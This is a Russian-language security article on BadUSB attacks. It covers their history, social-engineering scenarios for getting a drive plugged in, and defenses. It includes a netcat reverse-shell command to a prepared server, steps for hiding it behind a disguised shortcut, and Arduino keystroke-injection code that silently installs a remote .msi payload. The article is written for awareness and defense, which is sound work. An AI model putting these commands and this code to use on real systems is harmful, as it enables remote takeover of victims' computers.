BadUSB. Что это и как защититься.

Автор: Андрей Михалюк, CEO CoreWin

Думаю, большинство из нас слышали песню Billie Elish «Bad Guy». Так вот, у меня она играла в голове все время, пока готовил материал для этой статьи, пришлось даже включить ее в наушниках, чтобы играла на фоне, потому что совсем не мог сосредоточиться. А все потому, что на этот раз пишу вам о таком типе атаки, как BadUSB.

Впервые BadUSB были обнаружены еще в 2006 году. В то время компьютеры автоматически запускали программы с компакт-дисков, когда они вставлены в дисковод. Эта функция стала основой для одной из предыдущих версий BadUSB под названием USB Switchblade. Switchblade может выглядеть на компьютере так, будто это CD-ROM, что означает, что любые программы, сохраненные внутри устройства, будут запускаться автоматически и будут выполнять полезные нагрузки.

В 2014 году на конференции Black Hat в Лас Вегасе Karsten Nohl показал всему миру рабочий прототип BadUSB – и об этом типе атаки заговорили все. Через некоторое время Adam Caudill и Brandon Wilson разобрали код прототипа и опубликовали его на GitHub. С этого момента стало ясно: этот тип атаки станет массовым, только вопрос времени, когда именно это произойдет.

Сначала о сути атаки. Ее вектор в этом случае – всегда внешнее устройство ПК (конечно, наиболее предпочтительная цель – компьютер во внутреннем периметре организации). Если подробнее – использование определенных недостатков USB-интерфейса.

Выделяют два самых распространенных кейса:

  • Запуск скрипта прямо с флешки, без разрешения пользователя (как правило, из-за недостаточного уровня настроек прав на ПК. Привет сидящим под админскими правами для повседневной деятельности на своем компьютере). Далее – «скрипт».
  • Использование функционала мультидрайверности флеш-носителей, то есть способность через этот физический порт подключить и клавиатуру, и мышку, и накопитель (кучу всего прочего тоже). Дальше – «драйвер».

С первым бороться легче, со вторым сложнее, но оба не являются чудо-оружием хакеров, от них можно защититься.

Примеры сценариев

Суть сценария – подключить флешку к ПК. Это достигается социальной инженерией. Когда слышите это слово, вывод один – комплекс организационных мер. Без этого никак. Нужно обучать сотрудников основам киберграмотности, вводить инструкции, правила использования внешних устройств и так далее. Об этих методах можно писать много, на сотни страниц, поэтому сосредотачиваться на этом не буду, но приведу несколько сценариев, на которые наткнулся сам.

  • Атака FIN7 (2020), организованная российской группой хакеров, руководителем которой был украинец Федор Гладыр (отбывает наказание в США). Суть сценария: злоумышленники разослали по почте в офисы США «новогодние подарки». В письме была брендированная флешка Best Buy и сфабрикованный сертификат на подарок с инструкциями: вставьте флешку в ПК для выбора и получения подарка. Реорганизовавшиеся участники группировки повторили атаку в 2022 году по почти идентичному сценарию.

Дальше без громких кейсов.

  • «Парадоксальный». Парадоксален он, потому что до сих пор рабочий по отзывам коллег из форумов. Суть проста – подбросить флешку в офисный центр. Желательно в место общественного пользования. Туалет, столовая, коридоры. Причем сделать так, чтобы флешка выглядела случайно потерянной. Часто находится кто-то, кому либо интересно, что на ней, либо кто захочет отформатировать и забрать накопитель себе в использование. Иногда флешку забирает охрана и подключает ее к своему ПК, чтобы проверить, чья флешка, чтобы знать, кому вернуть.
  • «Внутренний агент». Этот кейс будет работать только если организацию таргетируют. Потому что этот сценарий нуждается в тщательной подготовке. Идея такова: специалист попадает в штат. Например, джун на испытательный или стажер. И у опытного специалиста из отдела просит сбросить на флешку какие-нибудь материалы. Первая флешка глючит, делается вид, что она какая-то битая, дальше дается вторая, рабочая, на нее скидывают учебные материалы. А первая флешка как раз была BadUSB.
  • «Ленивый». Сценарий ленив не потому, что злоумышленник ленится, а потому что недостаточно протоколов безопасности, или они не выполняются. К примеру: ЭЦП выписываются в налоговой на собственную флешку. Приходишь с флешкой в безопасный кабинет, закрытое помещение, получаешь ключ на флешку. Заразить такой ПК через BadUSB – не сложно. Или, например, подрядчик приносит на ресепшн документы, говорит: «Ой, забыл распечатать. А распечатайте с флешки». И так далее. Идея в том, чтобы попасть физически в офис, представиться клиентом или подрядчиком, и с помощью правдоподобной лжи, или используя опасные процедуры, вставить флешку в ПК сотрудника. О публичных местах использования ПК и сети вообще молчу, как и про точки выхода в Интернет в почтовом отделении.

Технологии

Как я писал выше, есть две концептуальные технологии атаки (примеры базовые, и понятно, что в реальном мире есть огромная их вариация):

«Скрипт»

1) Вставляем флешку в ПК. В корне создаем папку, название любое, например «payload», и забрасываем исполняемый файл netcat – nc64.exe.

2) Пишем bat файл (важно, чтобы скрипт был «родным» для ОС, которую таргетируем. Здесь – Windows). Например, с таким кодом:

nc64.exe 10.10.10.10 4444 -e powershell

Где 10.10.10.10 – это заранее подготовленный сервер, а 4444 – соответствующий порт коммуникации с ним.

3) Сохраняем файл, изменяя расширение на .cmd. К примеру, run_exploit.cmd.

4) Делаем папку скрытой: Свойства папки – Общие – Скрытый, по умолчанию такие папки у большинства пользователей остаются скрытыми, чтобы их видеть, нужно изменить настройки, что большинство пользователей не делает.

5) Создаем ярлык файла скрипта и сохраняем его в корне флешки. Следует назвать его как-то соблазнительно или неподозрительно для пользователя. Например, назовем ярлык «passwords». Но это название должно зависеть от кейса. К примеру, если мы передаем флешку по почте в отдел документооборота, можем назвать «Договор».

6) Далее маскируем иконку, чтобы она выглядела неподозрительно. Изменяем значок ярлыка: Свойства – Ярлык – Изменить значок и так далее. Например, выбираем пиктограмму обыкновенной папки.

Выйдет как-то так:

7) Все, отправляем флешку по почте, ждем открытия канала связи с поднятым сервером. О сервере здесь писать не буду, чтобы не предоставлять полные инструкции для кейса.

«Драйвер»

!ВНИМАНИЕ! Этот вариант найден «за поребриком» поэтому очень вероятно, что он как раз сейчас используется по инфраструктуре региона.

1) Собирается аппаратная часть. Для этого в корпус флешки вставляется так называемая «плата разработчика», например ATtiny или ATmega, есть даже готовые решения, как Arduino:

Остается найти правдоподобный USB-корпус или разобрать готовую флешку и сменить «начинку». Это тяжелее, потому что в процессе корпус часто ломается.

Сноска: для проверки такого сценария есть готовые наборы, например Rubber Ducky USB.

Эти платы могут эмулировать контроллер как USB-накопителя, так и HID-устройства. К примеру, клавиатуры. В этом примере рассмотрим именно ее, хотя мне попадались и другие варианты.

2) Программную часть мы рассмотрим Arduino, но помним: это один из примеров, и это не единственный инструмент. В студии разработки применяем следующий код для исполнения при подключении к ПК.

В примере намеренно упущены детали работы с Arduino, и только для Windows, но можно сделать универсальную конфигурацию для Windows, Linux, Mac.

Нажимаем Win+R и открываем соединение с сервером 10.10.10.10 по порту 4444 на установку пакета 1.msi (заранее подготовленный на сервере):

void windows_run() {

    Keyboard.press(KEY_LEFT_GUI);

    Keyboard.press('r');

    delay(250);

    Keyboard.releaseAll();

    Keyboard.print("msiexec /i http:// 10.10.10.10:4444/1.msi /quiet");

    delay(100);

    Keyboard.write(KEY_RETURN);

}

Повтор кода выше:

void rce() {

    windows_run();

    delay(100);

}

Смена языка, поскольку в большинстве ПК стоит многоязычие, а нам важно ввести команды именно на английском. Переключая языки и последовательно вводя одни и те же команды методом простого перебора раскладок клавиатуры.

void switchLang() {

    Keyboard.press(KEY_LEFT_SHIFT);

    Keyboard.press(KEY_LEFT_ALT);

    delay(100);

    Keyboard.releaseAll();

    Keyboard.press(KEY_LEFT_SHIFT);

    Keyboard.press(KEY_LEFT_CTRL);

    delay(100);

    Keyboard.releaseAll();

}

Ну и код на исполнение при подключении:

void setup() {

    Keyboard.begin();

    delay(2000);

    rce();

    switchLang();

    rce();

  }

Как защититься?

Защиту можно разделить на условное «до» и «после». То есть меры и средства предотвращения включения флешки или запуска и меры для остановки атаки, если код все же запустился. Думаю, не стоит объяснять, почему защита «до» объективно приоритетнее. Если коротко – лучше не допускать битву, особенно не зная, с каким арсеналом враг ступит на ее поле, а инструментарий злоумышленников не стоит на месте и постоянно развивается, включая вероятность zero-day угрозы.

Методы «до»:

  • Организационные методы: коммуникация с сотрудниками о том, что важно не подключать неизвестные флешки к ПК компании, повышение общей киберграмотности. Организационно сделать невозможным прием документации на флешках, а в случае необходимости принять и обработать флешку, файлы открывать в изолированном ПК в карантине (в условном sandbox).
  • Наличие корпоративного решения Device Control, способного заблокировать драйверы внешних устройств и предоставить методы массового управления внешними девайсами. К примеру, инвентаризация имеющихся периферийных устройств, создание белых списков девайсов по ID, блокировка устройств по ПК, пользователю и так далее.

Методы «после»:

  • Программные методы группового администрирования. Если это Windows – наличие правильно настроенных групповых прав и политик. К примеру, из нашего кейса – запрет на выполнение команд и запуск программ, описанных выше (netcat, powershell), открытие соединения по нетипичным портам «4444» или веб-соединения без SSL, или с сертификатом SSL низкого уровня доверия.
  • Наличие нормального и обновленного до последних баз сигнатур антивируса.
  • Наличие SIEM и XDR с прописанными правилами и скриптами реакции на инцидент.
  • Наличие сетевых средств остановки распространения заражения между распределенными внутренними сетями, например Next Generation Firewall.

Вывод

Пожалуй, один из двух главных выводов, которые можно сделать из этой истории – это не быть легкомысленным. Злоумышленники учатся постоянно, а значит, учиться надо постоянно и нам с вами. То, что было безопасно несколько лет назад, не гарантировано безопасно сейчас.

И второй вывод – работайте с коллегами не из отделов IT-безопасности. Как через руководство и официальные процедуры, так и неофициально. Рассказывайте о важности внимательности при работе с ПК как формально, так и неформально с коллегами.

К примеру, сделайте такую флешку и скрипт, который запустит блокнот и напишет что-нибудь смешное или скачает и откроет мем на рабочем столе. Пройдитесь по разным отделам и покажите это как прикол, а потом скажите, что так же на флешке может быть вполне опасный скрипт. Импровизируйте, не останавливайтесь, и будьте в безопасности.

Подписаться на новости